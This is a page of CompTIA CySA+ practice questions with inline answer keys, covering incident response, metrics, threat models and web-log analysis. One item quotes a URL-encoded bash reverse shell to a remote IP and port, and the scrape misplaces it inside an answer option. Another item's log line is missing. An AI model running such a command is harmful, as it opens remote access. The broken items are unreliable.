CompTIA CS0-003 Online Practice Questions and Exam Preparation

CompTIA CS0-003 Online Questions & Answers

• Question 401:

  Which of the following is the best action to take after the conclusion of a security incident to improve incident response in the future?

  A. Develop a call tree to inform impacted users
  B. Schedule a review with all teams to discuss what occurred
  C. Create an executive summary to update company leadership
  D. Review regulatory compliance with public relations for official notification
  B. Schedule a review with all teams to discuss what occurred

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  Explanation

  One of the best actions to take after the conclusion of a security incident to improve incident response in the future is to schedule a review with all teams to discuss what occurred, what went well, what went wrong, and what can be improved.

  This review is also known as a lessons learned session or an after-action report. The purpose of this review is to identify the root causes of the incident, evaluate the effectiveness of the incident response process, document any gaps or weaknesses in the security controls, and recommend corrective actions or preventive measures for future incidents. Official

  https://www.eccouncil.org/cybersecurity-exchange/threatintelligence/cyber-kill-chain-seven-steps-cyberattack/

• Question 402:

  A Chief Information Security Officer has requested a dashboard to share critical vulnerability management goals with company leadership.

  Which of the following would be the best to include in the dashboard?

  A. KPI
  B. MOU
  C. SLO
  D. SLA
  A. KPI

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  Explanation

  Key Performance Indicators (KPIs) track the effectiveness of a security program, providing measurable insights into vulnerability detection, patching efficiency, and risk reduction. This makes KPIs ideal for executive dashboards. Option B (MOU - Memorandum of Understanding) refers to agreements between parties, not performance tracking.

  Option C (SLO - Service Level Objective) defines operational targets but is not a tracking metric.

  Option D (SLA - Service Level Agreement) defines expectations between service providers and clients, not security metrics.

  Thus, A (KPI) is the correct answer, as KPIs provide actionable insights into security effectiveness.

• Question 403:

  A security analyst identifies the following log entry in the web server logs: 10.203.10.23 - - [22/May/2024 11:06:29] "GET / admin?

  Which of the following best explains the log entry?

  A. This was caused by an administrator logging in to a website using the command line. cmd= bash+-i+>%26+/ dev/ tcp/ 10.20.10.22/ 1234+0%3E%261 http/1.1" 200 -
  B. This is a successful lateral movement abusing an RCE vulnerability.
  C. This is a failed attack attempting to exploit an LFI vulnerability.
  D. This was caused by a successful RFI vulnerability exploitation.
  B. This is a successful lateral movement abusing an RCE vulnerability.

• Question 404:

  An employee accessed a website that caused a device to become infected with invasive malware. The incident response analyst has:

  1. created the initial evidence log.

  2. disabled the wireless adapter on the device.

  3. interviewed the employee, who was unable to identify the website that was accessed.

  4. reviewed the web proxy traffic logs.

  Which of the following should the analyst do to remediate the infected device?

  A. Update the system firmware and reimage the hardware.
  B. Install an additional malware scanner that will send email alerts to the analyst.
  C. Configure the system to use a proxy server for Internet access.
  D. Delete the user profile and restore data from backup.
  A. Update the system firmware and reimage the hardware.

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  Explanation

  Updating the system firmware and reimaging the hardware is the best action to perform to remediate the infected device, as it helps to ensure that the device is restored to a clean and secure state and that any traces of malware are removed.

  Firmware is a type of software that controls the low-level functions of a hardware device, such as a motherboard, hard drive, or network card. Firmware can be updated or flashed to fix bugs, improve performance, or enhance security.

  Reimaging is a process of erasing and restoring the data on a storage device, such as a hard drive or a solid state drive, using an image file that contains a copy of the operating system, applications, settings, and files. Reimaging can help to recover from system failures, data corruption, or malware infections. Updating the system firmware and reimaging the hardware can help to remediate the infected device by removing any malicious code or configuration changes that may have been made by the malware, as well as restoring any missing or damaged files or settings that may have been affected by the malware. This can help to prevent further damage, data loss, or compromise of the device or the network. The other actions are not as effective or appropriate as updating the system firmware and reimaging the hardware, as they do not address the root cause of the infection or ensure that the device is fully cleaned and secured. Installing an additional malware scanner that will send email alerts to the analyst may help to detect and remove some types of malware, but it may not be able to catch all malware variants or remove them completely. It may also create conflicts or performance issues with other security tools or systems on the device. Configuring the system to use a proxy server for Internet access may help to filter or monitor some types of malicious traffic or requests, but it may not prevent or remove malware that has already infected the device or that uses other methods of communication or propagation. Deleting the user profile and restoring data from backup may help to recover some data or settings that may have been affected by the malware, but it may not remove malware that has infected other parts of the system or that has persisted on the device.

• Question 405:

  Which of the following is the best framework for assessing how attackers use techniques over an infrastructure to exploit a target's information assets?

  A. Structured Threat Information Expression
  B. OWASP Testing Guide
  C. Open Source Security Testing Methodology Manual
  D. Diamond Model of Intrusion Analysis
  D. Diamond Model of Intrusion Analysis

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  Explanation

  The Diamond Model of Intrusion Analysis focuses on understanding the relationships between the adversary, their capabilities, infrastructure, and victim. It provides a structured approach to examining how attackers exploit information assets.

  According to CompTIA CySA+, this model is valuable for detailing attack patterns and understanding the infrastructure attackers use. The other options, like Structured Threat Information Expression (A) and OWASP Testing Guide (B), address threat data sharing and web application testing, respectively, while the Open Source Security Testing Methodology Manual (OSSTMM) (C) covers general security testing procedures.

• Question 406:

  During a tabletop exercise, engineers discovered that an ICS could not be updated due to hardware versioning incompatibility.

  Which of the following is the most likely cause of this issue?

  A. Legacy system
  B. Business process interruption
  C. Degrading functionality
  D. Configuration management
  A. Legacy system

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  Explanation

  The most likely cause of the issue where an ICS (Industrial Control System) could not be updated due to hardware versioning incompatibility is a legacy system. Legacy systems often have outdated hardware and software that may not be compatible with modern updates and patches. This can pose significant challenges in maintaining security and operational efficiency.

• Question 407:

  Results of a SOC customer service evaluation indicate high levels of dissatisfaction with the inconsistent services provided after regular work hours. To address this, the SOC lead drafts a document establishing customer expectations regarding the SOC's performance and quality of services.

  Which of the following documents most likely fits this description?

  A. Risk management plan
  B. Vendor agreement
  C. Incident response plan
  D. Service-level agreement
  D. Service-level agreement

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  Explanation

  A Service-Level Agreement (SLA) is a document that establishes customer expectations regarding the performance and quality of services provided by the SOC (Security Operations Center). It defines the level of service expected, including aspects like response times, availability, and support after regular work hours. An SLA helps in setting clear expectations and improving customer satisfaction by outlining the standards and commitments of the service provider.

• Question 408:

  While reviewing web server logs, a security analyst discovers the following suspicious line:

  

  Which of the following is being attempted?

  A. Remote file inclusion
  B. Command injection
  C. Server-side request forgery
  D. Reverse shell
  D. Reverse shell

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  Explanation

  The suspicious line of code indicates an attempt to establish a reverse shell connection from the compromised web server to an external IP address (10.0.0.1) and a specific port (1234). This indicates that the attacker is attempting to gain unauthorized remote access to the web server by opening a network socket, executing a shell command (/bin/sh -i), and redirecting the input and output to the network socket.

• Question 409:

  Which of the following is the most appropriate action a security analyst to take to effectively identify the most security risks associated with a locally hosted server?

  A. Run the operating system update tool to apply patches that are missing.
  B. Contract an external penetration tester to attempt a brute-force attack.
  C. Download a vendor support agent to validate drivers that are installed.
  D. Execute a vulnerability scan against the target host.
  D. Execute a vulnerability scan against the target host.

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  Explanation

  A vulnerability scan is a process of identifying and assessing the security weaknesses of a system or network. A vulnerability scan can help a security analyst to effectively identify the most security risks associated with a locally hosted server, such as missing patches, misconfigurations, outdated software, or exposed services. A vulnerability scan can also provide recommendations on how to remediate the identified vulnerabilities and improve the security posture of the server12

  References: 1: What is a Vulnerability Scan? | Definition and Examples 2: Securing a server: risks, challenges and best practices - Vaadata

• Question 410:

  While reviewing web server logs, an analyst notices several entries with the same time stamps, but all contain odd characters in the request line.

  Which of the following steps should be taken next?

  A. Shut the network down immediately and call the next person in the chain of command.
  B. Determine what attack the odd characters are indicative of.
  C. Utilize the correct attack framework and determine what the incident response will consist of.
  D. Notify the local law enforcement for incident response.
  B. Determine what attack the odd characters are indicative of.

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  Explanation

  It's essential to investigate the anomalous entries to understand whether they indicate a potential attack or malicious activity. This involves analyzing the nature of the odd characters, their patterns, and their potential impact on the web server.